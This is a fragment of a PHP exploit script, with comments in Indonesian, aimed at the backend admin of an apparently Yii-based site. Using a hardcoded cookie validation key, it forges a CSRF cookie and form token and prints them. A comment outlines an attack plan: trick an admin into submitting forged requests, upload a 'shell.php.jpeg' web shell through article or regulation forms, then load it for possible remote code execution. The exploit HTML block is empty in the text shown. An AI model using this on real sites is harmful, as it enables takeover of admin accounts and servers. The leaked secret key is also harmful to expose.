$hash . $data,
'token' => $token
];
}
$backendKey = 'pjZl9KWdjpwwLH4fWAJ4FecTSSpZe7J5';
$csrf = forgeCSRF($backendKey);
echo "=== CSRF BYPASS ===\n";
echo "Cookie: _csrf-backend=" . urlencode($csrf['cookie']) . "\n";
echo "Form token: " . $csrf['token'] . "\n\n";
/*
* EXPLOIT SCENARIO:
*
* 1. CSRF pada Backend Admin:
* - Forge CSRF cookie dengan key yang diketahui
* - Buat malicious page yang POST ke backend dengan forged CSRF
* - Admin yang mengunjungi page akan execute action
*
* 2. File Upload via CSRF:
* Target: /backend/artikel/create atau /backend/peraturan/create
* - Forge CSRF
* - Submit form dengan file upload shell.php.jpeg
* - File tersimpan di common/dokumen/
* - Akses langsung https://domain/common/dokumen/shell.php.jpeg
*
* CATATAN: Apache mungkin tidak execute .php.jpeg sebagai PHP
* Tapi jika pakai mod_php dengan handler by extension chain, bisa RCE
*/
echo "=== EXPLOIT HTML ===\n";
$exploitHTML = <<
HTML;
echo $exploitHTML;